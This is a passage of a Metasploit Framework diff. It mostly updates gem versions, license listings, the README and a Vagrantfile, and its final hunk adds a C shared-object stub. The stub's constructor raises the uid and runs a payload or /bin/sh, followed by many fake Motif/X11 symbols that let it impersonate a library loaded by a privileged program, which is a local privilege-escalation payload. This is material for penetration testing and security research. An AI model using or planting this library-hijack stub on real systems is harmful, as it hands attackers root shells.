activesupport (~> 5.2.2)
railties (~> 5.2.2)
metasploit-payloads (2.0.10)
metasploit_data_models (4.0.2)
activerecord (~> 5.2.2)
activesupport (~> 5.2.2)
arel-helpers
metasploit-concern
metasploit-model
pg
postgres_ext
railties (~> 4.2.6)
railties (~> 5.2.2)
recog (~> 2.0)
metasploit_payloads-mettle (0.5.16)
method_source (0.9.2)
metasploit_payloads-mettle (1.0.2)
method_source (1.0.0)
mini_portile2 (2.4.0)
minitest (5.11.3)
minitest (5.14.1)
mqtt (0.5.0)
msgpack (1.3.0)
msgpack (1.3.3)
multipart-post (2.1.1)
mustermann (1.1.1)
ruby2_keywords (~> 0.0.1)
nessus_rest (0.1.6)
net-ssh (5.2.0)
net-ldap (0.16.3)
net-ssh (6.1.0)
network_interface (0.0.2)
nexpose (7.2.1)
nokogiri (1.10.3)
nokogiri (1.10.10)
mini_portile2 (~> 2.4.0)
octokit (4.14.0)
octokit (4.18.0)
faraday (>= 0.9)
sawyer (~> 0.8.0, >= 0.5.3)
openssl-ccm (1.2.2)
openssl-cmac (2.0.1)
openvas-omp (0.0.4)
packetfu (1.1.13)
pcaprub
pastel (0.7.3)
equatable (~> 0.6)
tty-color (~> 0.5)
parallel (1.19.2)
parser (2.7.1.4)
ast (~> 2.4.1)
patch_finder (1.0.2)
pcaprub (0.13.0)
pdf-reader (2.2.0)
pdf-reader (2.4.0)
Ascii85 (~> 1.0.0)
afm (~> 0.2.1)
hashery (~> 2.0)
ruby-rc4
ttfunk
pg (0.21.0)
pg_array_parser (0.0.9)
postgres_ext (3.0.1)
activerecord (~> 4.0)
arel (>= 4.0.1)
pg_array_parser (~> 0.0.9)
pry (0.12.2)
coderay (~> 1.1.0)
method_source (~> 0.9.0)
public_suffix (3.1.1)
rack (1.6.11)
rack-protection (1.5.5)
pg (1.2.3)
pry (0.13.1)
coderay (~> 1.1)
method_source (~> 1.0)
pry-byebug (3.9.0)
byebug (~> 11.0)
pry (~> 0.13.0)
public_suffix (4.0.5)
rack (2.2.3)
rack-protection (2.0.8.1)
rack
rack-test (0.6.3)
rack (>= 1.0)
rails-deprecated_sanitizer (1.0.3)
activesupport (>= 4.2.0.alpha)
rails-dom-testing (1.0.9)
activesupport (>= 4.2.0, < 5.0)
nokogiri (~> 1.6)
rails-deprecated_sanitizer (>= 1.0.1)
rails-html-sanitizer (1.0.4)
loofah (~> 2.2, >= 2.2.2)
railties (4.2.11.1)
actionpack (= 4.2.11.1)
activesupport (= 4.2.11.1)
rack-test (1.1.0)
rack (>= 1.0, < 3)
rails-dom-testing (2.0.3)
activesupport (>= 4.2.0)
nokogiri (>= 1.6)
rails-html-sanitizer (1.3.0)
loofah (~> 2.3)
railties (5.2.4.3)
actionpack (= 5.2.4.3)
activesupport (= 5.2.4.3)
method_source
rake (>= 0.8.7)
thor (>= 0.18.1, < 2.0)
rake (12.3.2)
thor (>= 0.19.0, < 2.0)
rainbow (3.0.0)
rake (13.0.1)
rb-readline (0.5.5)
recog (2.3.2)
recog (2.3.14)
nokogiri
redcarpet (3.4.0)
redcarpet (3.5.0)
regexp_parser (1.7.1)
reline (0.1.4)
io-console (~> 0.5)
rex-arch (0.1.13)
rex-text
rex-bin_tools (0.1.6)
@@ -296,7 +310,7 @@ GEM
metasm
rex-arch
rex-text
rex-exploitation (0.1.21)
rex-exploitation (0.1.24)
jsobfu
metasm
rex-arch
@@ -309,9 +323,10 @@ GEM
rex-arch
rex-ole (0.1.6)
rex-text
rex-powershell (0.1.82)
rex-powershell (0.1.87)
rex-random_identifier
rex-text
ruby-rc4
rex-random_identifier (0.1.4)
rex-text
rex-registry (0.1.3)
@@ -319,99 +334,110 @@ GEM
metasm
rex-core
rex-text
rex-socket (0.1.18)
rex-socket (0.1.23)
rex-core
rex-sslscan (0.1.5)
rex-core
rex-socket
rex-text
rex-struct2 (0.1.2)
rex-text (0.2.21)
rex-text (0.2.28)
rex-zip (0.1.3)
rex-text
rexml (3.2.4)
rkelly-remix (0.0.7)
rspec (3.8.0)
rspec-core (~> 3.8.0)
rspec-expectations (~> 3.8.0)
rspec-mocks (~> 3.8.0)
rspec-core (3.8.1)
rspec-support (~> 3.8.0)
rspec-expectations (3.8.4)
rspec (3.9.0)
rspec-core (~> 3.9.0)
rspec-expectations (~> 3.9.0)
rspec-mocks (~> 3.9.0)
rspec-core (3.9.2)
rspec-support (~> 3.9.3)
rspec-expectations (3.9.2)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.8.0)
rspec-mocks (3.8.1)
rspec-support (~> 3.9.0)
rspec-mocks (3.9.1)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.8.0)
rspec-rails (3.8.2)
actionpack (>= 3.0)
activesupport (>= 3.0)
railties (>= 3.0)
rspec-core (~> 3.8.0)
rspec-expectations (~> 3.8.0)
rspec-mocks (~> 3.8.0)
rspec-support (~> 3.8.0)
rspec-support (~> 3.9.0)
rspec-rails (4.0.1)
actionpack (>= 4.2)
activesupport (>= 4.2)
railties (>= 4.2)
rspec-core (~> 3.9)
rspec-expectations (~> 3.9)
rspec-mocks (~> 3.9)
rspec-support (~> 3.9)
rspec-rerun (1.1.0)
rspec (~> 3.0)
rspec-support (3.8.2)
rspec-support (3.9.3)
rubocop (0.89.1)
parallel (~> 1.10)
parser (>= 2.7.1.1)
rainbow (>= 2.2.2, < 4.0)
regexp_parser (>= 1.7)
rexml
rubocop-ast (>= 0.3.0, < 1.0)
ruby-progressbar (~> 1.7)
unicode-display_width (>= 1.4.0, < 2.0)
rubocop-ast (0.3.0)
parser (>= 2.7.1.4)
ruby-macho (2.2.0)
ruby-prof (1.4.1)
ruby-progressbar (1.10.1)
ruby-rc4 (0.1.5)
ruby_smb (1.1.0)
ruby2_keywords (0.0.2)
ruby_smb (2.0.3)
bindata
openssl-ccm
openssl-cmac
rubyntlm
windows_error
rubyntlm (0.6.2)
rubyzip (1.2.3)
rubyzip (2.3.0)
sawyer (0.8.2)
addressable (>= 2.3.5)
faraday (> 0.8, < 2.0)
simplecov (0.16.1)
simplecov (0.18.2)
docile (~> 1.1)
json (>= 1.8, < 3)
simplecov-html (~> 0.10.0)
simplecov-html (0.10.2)
sinatra (1.4.8)
rack (~> 1.5)
rack-protection (~> 1.4)
tilt (>= 1.3, < 3)
simplecov-html (~> 0.11)
simplecov-html (0.12.2)
simpleidn (0.1.1)
unf (~> 0.1.4)
sinatra (2.0.8.1)
mustermann (~> 1.0)
rack (~> 2.0)
rack-protection (= 2.0.8.1)
tilt (~> 2.0)
sqlite3 (1.3.13)
sshkey (2.0.0)
strings (0.1.5)
strings-ansi (~> 0.1)
unicode-display_width (~> 1.5)
unicode_utils (~> 1.4)
strings-ansi (0.1.0)
swagger-blocks (2.0.2)
swagger-blocks (3.0.0)
thin (1.7.2)
daemons (~> 1.0, >= 1.0.9)
eventmachine (~> 1.0, >= 1.0.4)
rack (>= 1, < 3)
thor (0.20.3)
thor (1.0.1)
thread_safe (0.3.6)
tilt (2.0.9)
tilt (2.0.10)
timecop (0.9.1)
ttfunk (1.5.1)
tty-color (0.5.0)
tty-pager (0.12.1)
strings (~> 0.1.4)
tty-screen (~> 0.6)
tty-which (~> 0.4)
tty-screen (0.6.5)
tty-tree (0.3.0)
tty-which (0.4.1)
tzinfo (1.2.5)
ttfunk (1.6.2.1)
tzinfo (1.2.7)
thread_safe (~> 0.1)
tzinfo-data (1.2019.1)
tzinfo-data (1.2020.1)
tzinfo (>= 1.0.0)
unicode-display_width (1.6.0)
unicode_utils (1.4.0)
warden (1.2.7)
rack (>= 1.0)
unf (0.1.4)
unf_ext
unf_ext (0.0.7.7)
unicode-display_width (1.7.0)
warden (1.2.8)
rack (>= 2.0.6)
websocket-driver (0.7.3)
websocket-extensions (>= 0.1.0)
websocket-extensions (0.1.5)
windows_error (0.1.2)
xdr (2.0.0)
activemodel (>= 4.2.7)
activesupport (>= 4.2.7)
xdr (3.0.1)
activemodel (>= 5.2.0)
activesupport (>= 5.2.0)
xmlrpc (0.3.0)
yard (0.9.19)
yard (0.9.25)
PLATFORMS
ruby
@@ -419,14 +445,17 @@ PLATFORMS
DEPENDENCIES
factory_bot_rails
fivemat
memory_profiler
metasploit-framework!
octokit
pry
pry-byebug
rake
redcarpet
rspec-rails
rspec-rerun
simplecov
rubocop
ruby-prof
simplecov (= 0.18.2)
sqlite3 (~> 1.3.0)
swagger-blocks
timecop
+5 -1
View File
@@ -2,7 +2,7 @@ Format: http://www.debian.org/doc/packaging-manuals/copyright-format/1.0/
Source: http://www.metasploit.com/
Files: *
Copyright: 2006-2018, Rapid7, Inc.
Copyright: 2006-2020, Rapid7, Inc.
License: BSD-3-clause
# The Metasploit Framework is provided under the 3-clause BSD license provided
@@ -71,6 +71,10 @@ Files: lib/anemone.rb lib/anemone/*
Copyright: 2009 Vertive, Inc.
License: MIT
Files: lib/expect.rb
Copyright: 2017 Yukihiro Matsumoto
License: Ruby
Files: lib/msf/core/modules/external/python/async_timeout/*
Copyright: 2016-2017 Andrew Svetlov
License: Apache 2.0
+111 -97
View File
@@ -1,156 +1,170 @@
This file is auto-generated by tools/dev/update_gem_licenses.sh
Ascii85, 1.0.3, MIT
actionpack, 4.2.11.1, MIT
actionview, 4.2.11.1, MIT
activemodel, 4.2.11.1, MIT
activerecord, 4.2.11.1, MIT
activesupport, 4.2.11.1, MIT
addressable, 2.6.0, "Apache 2.0"
actionpack, 5.2.4.3, MIT
actionview, 5.2.4.3, MIT
activemodel, 5.2.4.3, MIT
activerecord, 5.2.4.3, MIT
activesupport, 5.2.4.3, MIT
addressable, 2.7.0, "Apache 2.0"
afm, 0.2.2, MIT
arel, 6.0.4, MIT
arel-helpers, 2.9.1, MIT
aws-eventstream, 1.0.3, "Apache 2.0"
aws-partitions, 1.180.0, "Apache 2.0"
aws-sdk-core, 3.56.0, "Apache 2.0"
aws-sdk-ec2, 1.96.0, "Apache 2.0"
aws-sdk-iam, 1.26.0, "Apache 2.0"
aws-sdk-kms, 1.22.0, "Apache 2.0"
aws-sdk-s3, 1.43.0, "Apache 2.0"
aws-sigv4, 1.1.0, "Apache 2.0"
backports, 3.15.0, MIT
bcrypt, 3.1.13, MIT
arel, 9.0.0, MIT
arel-helpers, 2.11.0, MIT
ast, 2.4.1, MIT
aws-eventstream, 1.1.0, "Apache 2.0"
aws-partitions, 1.358.0, "Apache 2.0"
aws-sdk-core, 3.104.4, "Apache 2.0"
aws-sdk-ec2, 1.188.0, "Apache 2.0"
aws-sdk-iam, 1.43.0, "Apache 2.0"
aws-sdk-kms, 1.36.0, "Apache 2.0"
aws-sdk-s3, 1.78.0, "Apache 2.0"
aws-sigv4, 1.2.2, "Apache 2.0"
bcrypt, 3.1.15, MIT
bcrypt_pbkdf, 1.0.1, MIT
bindata, 2.4.4, ruby
bindata, 2.4.8, ruby
bit-struct, 0.16, ruby
builder, 3.2.3, MIT
bson, 4.10.0, "Apache 2.0"
builder, 3.2.4, MIT
bundler, 1.17.3, MIT
coderay, 1.1.2, MIT
byebug, 11.1.3, "Simplified BSD"
coderay, 1.1.3, MIT
concurrent-ruby, 1.0.5, MIT
cookiejar, 0.3.3, unknown
crass, 1.0.4, MIT
crass, 1.0.6, MIT
daemons, 1.3.1, MIT
diff-lcs, 1.3, "MIT, Artistic-2.0, GPL-2.0+"
dnsruby, 1.61.2, "Apache 2.0"
diff-lcs, 1.4.4, "MIT, Artistic-2.0, GPL-2.0+"
dnsruby, 1.61.4, "Apache 2.0"
docile, 1.3.2, MIT
ed25519, 1.2.4, MIT
em-http-request, 1.1.5, MIT
em-http-request, 1.1.6, MIT
em-socksify, 0.3.2, MIT
equatable, 0.6.1, MIT
erubis, 2.7.0, MIT
erubi, 1.9.0, MIT
eventmachine, 1.2.7, "ruby, GPL-2.0"
factory_bot, 5.0.2, MIT
factory_bot_rails, 5.0.2, MIT
faker, 1.9.4, MIT
faraday, 0.15.4, MIT
factory_bot, 6.1.0, MIT
factory_bot_rails, 6.1.0, MIT
faker, 2.13.0, MIT
faraday, 1.0.1, MIT
faye-websocket, 0.11.0, "Apache 2.0"
filesize, 0.2.0, MIT
fivemat, 1.3.7, MIT
hashery, 2.1.2, "Simplified BSD"
hrr_rb_ssh, 0.3.0.pre2, "Apache 2.0"
http_parser.rb, 0.6.0, MIT
i18n, 0.9.5, MIT
i18n, 1.8.5, MIT
io-console, 0.5.6, "Simplified BSD"
irb, 1.2.4, "Simplified BSD"
jmespath, 1.4.0, "Apache 2.0"
jsobfu, 0.4.2, "New BSD"
json, 2.2.0, ruby
loofah, 2.2.3, MIT
json, 2.3.1, ruby
loofah, 2.6.0, MIT
memory_profiler, 0.9.14, MIT
metasm, 1.0.4, LGPL-2.1
metasploit-concern, 2.0.5, "New BSD"
metasploit-credential, 3.0.3, "New BSD"
metasploit-framework, 5.0.34, "New BSD"
metasploit-model, 2.0.4, "New BSD"
metasploit-payloads, 1.3.70, "3-clause (or ""modified"") BSD"
metasploit_data_models, 3.0.10, "New BSD"
metasploit_payloads-mettle, 0.5.16, "3-clause (or ""modified"") BSD"
method_source, 0.9.2, MIT
metasploit-concern, 3.0.0, "New BSD"
metasploit-credential, 4.0.2, "New BSD"
metasploit-framework, 6.0.3, "New BSD"
metasploit-model, 3.0.0, "New BSD"
metasploit-payloads, 2.0.10, "3-clause (or ""modified"") BSD"
metasploit_data_models, 4.0.2, "New BSD"
metasploit_payloads-mettle, 1.0.2, "3-clause (or ""modified"") BSD"
method_source, 1.0.0, MIT
mini_portile2, 2.4.0, MIT
minitest, 5.11.3, MIT
minitest, 5.14.1, MIT
mqtt, 0.5.0, MIT
msgpack, 1.3.0, "Apache 2.0"
msgpack, 1.3.3, "Apache 2.0"
multipart-post, 2.1.1, MIT
mustermann, 1.1.1, MIT
nessus_rest, 0.1.6, MIT
net-ssh, 5.2.0, MIT
net-ldap, 0.16.3, MIT
net-ssh, 6.1.0, MIT
network_interface, 0.0.2, MIT
nexpose, 7.2.1, "New BSD"
nokogiri, 1.10.3, MIT
octokit, 4.14.0, MIT
nokogiri, 1.10.10, MIT
octokit, 4.18.0, MIT
openssl-ccm, 1.2.2, MIT
openssl-cmac, 2.0.1, MIT
openvas-omp, 0.0.4, MIT
packetfu, 1.1.13, BSD
pastel, 0.7.3, MIT
parallel, 1.19.2, MIT
parser, 2.7.1.4, MIT
patch_finder, 1.0.2, "New BSD"
pcaprub, 0.13.0, LGPL-2.1
pdf-reader, 2.2.0, MIT
pg, 0.21.0, "New BSD"
pg_array_parser, 0.0.9, unknown
postgres_ext, 3.0.1, MIT
pry, 0.12.2, MIT
public_suffix, 3.1.1, MIT
rack, 1.6.11, MIT
rack-protection, 1.5.5, MIT
rack-test, 0.6.3, MIT
rails-deprecated_sanitizer, 1.0.3, MIT
rails-dom-testing, 1.0.9, MIT
rails-html-sanitizer, 1.0.4, MIT
railties, 4.2.11.1, MIT
rake, 12.3.2, MIT
pdf-reader, 2.4.0, MIT
pg, 1.2.3, "Simplified BSD"
pry, 0.13.1, MIT
pry-byebug, 3.9.0, MIT
public_suffix, 4.0.5, MIT
rack, 2.2.3, MIT
rack-protection, 2.0.8.1, MIT
rack-test, 1.1.0, MIT
rails-dom-testing, 2.0.3, MIT
rails-html-sanitizer, 1.3.0, MIT
railties, 5.2.4.3, MIT
rainbow, 3.0.0, MIT
rake, 13.0.1, MIT
rb-readline, 0.5.5, BSD
recog, 2.3.2, unknown
redcarpet, 3.4.0, MIT
recog, 2.3.14, unknown
redcarpet, 3.5.0, MIT
regexp_parser, 1.7.1, MIT
reline, 0.1.4, "Ruby License"
rex-arch, 0.1.13, "New BSD"
rex-bin_tools, 0.1.6, "New BSD"
rex-core, 0.1.13, "New BSD"
rex-encoder, 0.1.4, "New BSD"
rex-exploitation, 0.1.21, "New BSD"
rex-exploitation, 0.1.24, "New BSD"
rex-java, 0.1.5, "New BSD"
rex-mime, 0.1.5, "New BSD"
rex-nop, 0.1.1, "New BSD"
rex-ole, 0.1.6, "New BSD"
rex-powershell, 0.1.82, "New BSD"
rex-powershell, 0.1.87, "New BSD"
rex-random_identifier, 0.1.4, "New BSD"
rex-registry, 0.1.3, "New BSD"
rex-rop_builder, 0.1.3, "New BSD"
rex-socket, 0.1.18, "New BSD"
rex-socket, 0.1.23, "New BSD"
rex-sslscan, 0.1.5, "New BSD"
rex-struct2, 0.1.2, "New BSD"
rex-text, 0.2.21, "New BSD"
rex-text, 0.2.28, "New BSD"
rex-zip, 0.1.3, "New BSD"
rexml, 3.2.4, "Simplified BSD"
rkelly-remix, 0.0.7, MIT
rspec, 3.8.0, MIT
rspec-core, 3.8.1, MIT
rspec-expectations, 3.8.4, MIT
rspec-mocks, 3.8.1, MIT
rspec-rails, 3.8.2, MIT
rspec, 3.9.0, MIT
rspec-core, 3.9.2, MIT
rspec-expectations, 3.9.2, MIT
rspec-mocks, 3.9.1, MIT
rspec-rails, 4.0.1, MIT
rspec-rerun, 1.1.0, MIT
rspec-support, 3.8.2, MIT
rspec-support, 3.9.3, MIT
rubocop, 0.89.1, MIT
rubocop-ast, 0.3.0, MIT
ruby-macho, 2.2.0, MIT
ruby-prof, 1.4.1, "Simplified BSD"
ruby-progressbar, 1.10.1, MIT
ruby-rc4, 0.1.5, MIT
ruby_smb, 1.1.0, "New BSD"
ruby2_keywords, 0.0.2, ruby
ruby_smb, 2.0.3, "New BSD"
rubyntlm, 0.6.2, MIT
rubyzip, 1.2.3, "Simplified BSD"
rubyzip, 2.3.0, "Simplified BSD"
sawyer, 0.8.2, MIT
simplecov, 0.16.1, MIT
simplecov-html, 0.10.2, MIT
sinatra, 1.4.8, MIT
simplecov, 0.18.2, MIT
simplecov-html, 0.12.2, MIT
simpleidn, 0.1.1, MIT
sinatra, 2.0.8.1, MIT
sqlite3, 1.3.13, "New BSD"
sshkey, 2.0.0, MIT
strings, 0.1.5, MIT
strings-ansi, 0.1.0, MIT
swagger-blocks, 2.0.2, MIT
swagger-blocks, 3.0.0, MIT
thin, 1.7.2, "GPLv2+, Ruby 1.8"
thor, 0.20.3, MIT
thor, 1.0.1, MIT
thread_safe, 0.3.6, "Apache 2.0"
tilt, 2.0.9, MIT
tilt, 2.0.10, MIT
timecop, 0.9.1, MIT
ttfunk, 1.5.1, "Nonstandard, GPL-2.0, GPL-3.0"
tty-color, 0.5.0, MIT
tty-pager, 0.12.1, MIT
tty-screen, 0.6.5, MIT
tty-tree, 0.3.0, MIT
tty-which, 0.4.1, MIT
tzinfo, 1.2.5, MIT
tzinfo-data, 1.2019.1, MIT
unicode-display_width, 1.6.0, MIT
unicode_utils, 1.4.0, unknown
warden, 1.2.7, MIT
ttfunk, 1.6.2.1, "Nonstandard, GPL-2.0, GPL-3.0"
tzinfo, 1.2.7, MIT
tzinfo-data, 1.2020.1, MIT
unf, 0.1.4, "2-clause BSDL"
unf_ext, 0.0.7.7, MIT
unicode-display_width, 1.7.0, MIT
warden, 1.2.8, MIT
websocket-driver, 0.7.3, "Apache 2.0"
websocket-extensions, 0.1.5, "Apache 2.0"
windows_error, 0.1.2, BSD
xdr, 2.0.0, "Apache 2.0"
xdr, 3.0.1, "Apache 2.0"
xmlrpc, 0.3.0, ruby
yard, 0.9.19, MIT
yard, 0.9.25, MIT
+2 -2
View File
@@ -1,7 +1,7 @@
Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.svg?branch=master)](https://travis-ci.org/rapid7/metasploit-framework) [![Code Climate](https://img.shields.io/codeclimate/github/rapid7/metasploit-framework.svg)](https://codeclimate.com/github/rapid7/metasploit-framework) [![Docker Pulls](https://img.shields.io/docker/pulls/metasploitframework/metasploit-framework.svg)](https://hub.docker.com/r/metasploitframework/metasploit-framework/)
Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.svg?branch=master)](https://travis-ci.org/rapid7/metasploit-framework) [![Maintainability](https://api.codeclimate.com/v1/badges/943e398e619c09568f3f/maintainability)](https://codeclimate.com/github/rapid7/metasploit-framework/maintainability) [![Test Coverage](https://api.codeclimate.com/v1/badges/943e398e619c09568f3f/test_coverage)](https://codeclimate.com/github/rapid7/metasploit-framework/test_coverage) [![Docker Pulls](https://img.shields.io/docker/pulls/metasploitframework/metasploit-framework.svg)](https://hub.docker.com/r/metasploitframework/metasploit-framework/)
==
The Metasploit Framework is released under a BSD-style license. See
COPYING for more details.
[COPYING](COPYING) for more details.
The latest version of this software is available from: https://metasploit.com
Vendored
+2 -2
View File
@@ -3,7 +3,7 @@
Vagrant.configure(2) do |config|
config.ssh.forward_x11 = true
config.vm.box = "ubuntu/xenial64"
config.vm.box = "ubuntu/bionic64"
config.vm.network :forwarded_port, guest: 4444, host: 4444
config.vm.provider "vmware" do |v|
v.memory = 2048
@@ -28,7 +28,7 @@ Vagrant.configure(2) do |config|
config.vm.provision "shell", inline: step
end
[ "gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3",
[ "gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3 7D2BAF1CF37B13E2069D6956105BD0E739499BDB",
"curl -L https://get.rvm.io | bash -s stable",
"source ~/.rvm/scripts/rvm && cd /vagrant && rvm install `cat .ruby-version`",
"source ~/.rvm/scripts/rvm && cd /vagrant && bundle",
+3
View File
@@ -0,0 +1,3 @@
class ApplicationRecord < ActiveRecord::Base
self.abstract_class = true
end
@@ -6,7 +6,7 @@ module Metasploit
class FilePathValidator < ActiveModel::EachValidator
def validate_each(record, attribute, value)
unless ::File.file? value
unless value && ::File.file?(value)
record.errors[attribute] << (options[:message] || "is not a valid path to a regular file")
end
end
-12
View File
@@ -22,18 +22,6 @@ unless ENV['BUNDLE_GEMFILE']
end
end
# Remove bigdecimal warning - start
# https://github.com/ruby/bigdecimal/pull/115
# https://github.com/rapid7/metasploit-framework/pull/11184#issuecomment-461971266
# TODO: remove when upgrading from rails 4.x
require 'bigdecimal'
def BigDecimal.new(*args, **kwargs)
return BigDecimal(*args) if kwargs.empty?
BigDecimal(*args, **kwargs)
end
# Remove bigdecimal warning - end
begin
require 'bundler/setup'
rescue LoadError => e
+3643
View File
@@ -0,0 +1,3643 @@
#define _GNU_SOURCE
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <stdio.h>
#include <dlfcn.h>
void __cxa_finalize (void *d) {
return;
}
void __attribute__((constructor)) init() {
setresuid(geteuid(), geteuid(), geteuid());
execl("#{payload_path}", (char *)NULL, (char *)NULL);
execl("/bin/sh", (char *)NULL, (char *)NULL);
}
int applicationShellClassRec = 0;
int applicationShellWidgetClass = 0;
int colorConvertArgs = 0;
int compositeWidgetClass = 0;
int constraintClassRec = 0;
int constraintWidgetClass = 0;
int coreWidgetClass = 0;
int dump_external = 0;
int dump_fontlist = 0;
int dump_fontlist_cache = 0;
int dump_internal = 0;
int FcPatternAddInteger = 0;
int FcPatternAddString = 0;
int FcPatternCreate = 0;
int FcPatternDestroy = 0;
int GetWidgetNavigPtrs = 0;
int InitializeScrollBars = 0;
int _ITM_deregisterTMCloneTable = 0;
int _ITM_registerTMCloneTable = 0;
int jpeg_calc_output_dimensions = 0;
int jpeg_CreateDecompress = 0;
int jpeg_destroy_decompress = 0;
int jpeg_finish_decompress = 0;
int jpeg_read_header = 0;
int jpeg_read_scanlines = 0;
int jpeg_start_decompress = 0;
int jpeg_std_error = 0;
int jpeg_stdio_src = 0;
int load_jpeg = 0;
int localeconv = 0;
int __longjmp_chk = 0;
int nl_langinfo = 0;
int NumLockMask = 0;
int objectClass = 0;
int objectClassRec = 0;
int overrideShellClassRec = 0;
int png_create_info_struct = 0;
int png_create_read_struct = 0;
int png_destroy_read_struct = 0;
int png_get_channels = 0;
int png_get_gAMA = 0;
int png_get_IHDR = 0;
int png_get_rowbytes = 0;
int png_get_valid = 0;
int png_init_io = 0;
int png_read_end = 0;
int png_read_image = 0;
int png_read_info = 0;
int png_read_update_info = 0;
int png_set_expand = 0;
int png_set_gamma = 0;
int png_set_gray_to_rgb = 0;
int png_set_longjmp_fn = 0;
int png_set_sig_bytes = 0;
int png_set_strip_16 = 0;
int png_sig_cmp = 0;
int rectObjClass = 0;
int rectObjClassRec = 0;
int ScrollLockMask = 0;
int SetMwmStuff = 0;
int T = 0;
int topLevelShellWidgetClass = 0;
int transientShellClassRec = 0;
int transientShellWidgetClass = 0;
int V = 0;
int vendorShellClassRec = 0;
int vendorShellWidgetClass = 0;
int W = 0;
int __wctomb_chk = 0;
int widgetClass = 0;
int widgetClassRec = 0;
int wmShellClassRec = 0;
int wmShellWidgetClass = 0;
int XAddExtension = 0;
int XAllocColor = 0;
int XAllocColorCells = 0;
int XAllowEvents = 0;
int XBell = 0;
int XChangeActivePointerGrab = 0;
int XChangeGC = 0;
int XChangeProperty = 0;
int XChangeWindowAttributes = 0;
int XCheckIfEvent = 0;
int XCheckMaskEvent = 0;
int XClearArea = 0;
int XClearWindow = 0;
int XCloseDisplay = 0;
int XCloseIM = 0;
int XConfigureWindow = 0;
int XConvertSelection = 0;
int XCopyArea = 0;
int XCopyPlane = 0;
int XCreateBitmapFromData = 0;
int XCreateFontCursor = 0;
int XCreateGC = 0;
int XCreateIC = 0;
int XCreateImage = 0;
int XCreatePixmap = 0;
int XCreatePixmapCursor = 0;
int XCreatePixmapFromBitmapData = 0;
int XCreateRegion = 0;
int XCreateWindow = 0;
int XDefaultColormap = 0;
int XDefaultDepth = 0;
int XDefaultScreen = 0;
int XDefaultVisual = 0;
int XDefineCursor = 0;
int XDeleteContext = 0;
int XDeleteProperty = 0;
int XDestroyIC = 0;
int XDestroyRegion = 0;
int XDestroyWindow = 0;
int XDisplayKeycodes = 0;
int XDisplayOfScreen = 0;
int XDisplayString = 0;
int XDrawArc = 0;
int XDrawImageString = 0;
int XDrawImageString16 = 0;
int XDrawLine = 0;
int XDrawLines = 0;
int XDrawPoint = 0;
int XDrawRectangle = 0;
int XDrawSegments = 0;
int XDrawString = 0;
int XDrawString16 = 0;
int _XEditResGet16 = 0;
int _XEditResGet32 = 0;
int _XEditResGet8 = 0;
int _XEditResGetSigned16 = 0;
int _XEditResGetString8 = 0;
int _XEditResGetWidgetInfo = 0;
int _XEditResPut16 = 0;
int _XEditResPut32 = 0;
int _XEditResPut8 = 0;
int _XEditResPutString8 = 0;
int _XEditResPutWidgetInfo = 0;
int _XEditResResetStream = 0;
int XEmptyRegion = 0;
int XEqualRegion = 0;
int XESetCloseDisplay = 0;
int XExtentsOfFontSet = 0;
int XFetchBuffer = 0;
int XFillArc = 0;
int XFillPolygon = 0;
int XFillRectangle = 0;
int XFillRectangles = 0;
int XFindContext = 0;
int XFlush = 0;
int XFontsOfFontSet = 0;
int XFree = 0;
int XFreeColors = 0;
int XFreeCursor = 0;
int XFreeFont = 0;
int XFreeFontNames = 0;
int XFreeGC = 0;
int XFreeModifiermap = 0;
int XFreePixmap = 0;
int XFreeStringList = 0;
int XftDrawCreate = 0;
int XftDrawCreateBitmap = 0;
int XftDrawDestroy = 0;
int XftDrawRect = 0;
int XftDrawSetClip = 0;
int XftDrawSetClipRectangles = 0;
int XftDrawString16 = 0;
int XftDrawString32 = 0;
int XftDrawStringUtf8 = 0;
int XftFontClose = 0;
int XftFontMatch = 0;
int XftFontOpenPattern = 0;
int XftTextExtents16 = 0;
int XftTextExtents32 = 0;
int XftTextExtents8 = 0;
int XftTextExtentsUtf8 = 0;
int XGetAtomName = 0;
int XGetFontProperty = 0;
int XGetGCValues = 0;
int XGetGeometry = 0;
int XGetICValues = 0;
int XGetImage = 0;
int XGetIMValues = 0;
int XGetInputFocus = 0;
int XGetKeyboardMapping = 0;
int XGetModifierMapping = 0;
int XGetOCValues = 0;
int XGetOMValues = 0;
int XGetSelectionOwner = 0;
int XGetWindowAttributes = 0;
int XGetWindowProperty = 0;
int XGetWMColormapWindows = 0;
int XGrabKeyboard = 0;
int XGrabPointer = 0;
int XGrabServer = 0;
int XHeightOfScreen = 0;
int xiColumnConstraintExtension = 0;
int XiCreateStippledPixmap = 0;
int _XiGetTabIndex = 0;
int XIMOfIC = 0;
int XInstallColormap = 0;
int XInternAtom = 0;
int XInternAtoms = 0;
int XIntersectRegion = 0;
int XiReleaseStippledPixmap = 0;
int _XiResolveAllPartOffsets = 0;
int XiResolveAllPartOffsets = 0;
int XKeysymToKeycode = 0;
int XKeysymToString = 0;
int XLastKnownRequestProcessed = 0;
int XListFonts = 0;
int XListInstalledColormaps = 0;
int XLoadQueryFont = 0;
int XLookupString = 0;
int Xm18IListUnselectAllItems = 0;
int Xm18IListUnselectItem = 0;
int _XmAccessColorData = 0;
int XmActivateProtocol = 0;
int _XmAddCallback = 0;
int _XmAddGrab = 0;
int _XmAddHashEntry = 0;
int XmAddProtocolCallback = 0;
int XmAddProtocols = 0;
int _Xm_AddQueue = 0;
int XmAddTabGroup = 0;
int _XmAddTearOffEventHandlers = 0;
int _XmAddToColorCache = 0;
int XmAddToPostFromList = 0;
int _XmAllocHashTable = 0;
int _XmAllocMotifAtom = 0;
int _XmAllocReceiverInfo = 0;
int _XmAllocScratchPixmap = 0;
int _XmAllowAcceleratedInsensitiveUnmanagedMenuItems = 0;
int XMapRaised = 0;
int XMapWindow = 0;
int _XmArrowB_defaultTranslations = 0;
int xmArrowButtonClassRec = 0;
int xmArrowButtonGadgetClass = 0;
int xmArrowButtonGadgetClassRec = 0;
int xmArrowButtonWidgetClass = 0;
int _XmArrowPixmapCacheCompare = 0;
int _XmArrowPixmapCacheDelete = 0;
int _XmAssignInsensitiveColor = 0;
int _XmAssignLabG_MarginBottom = 0;
int _XmAssignLabG_MarginHeight = 0;
int _XmAssignLabG_MarginLeft = 0;
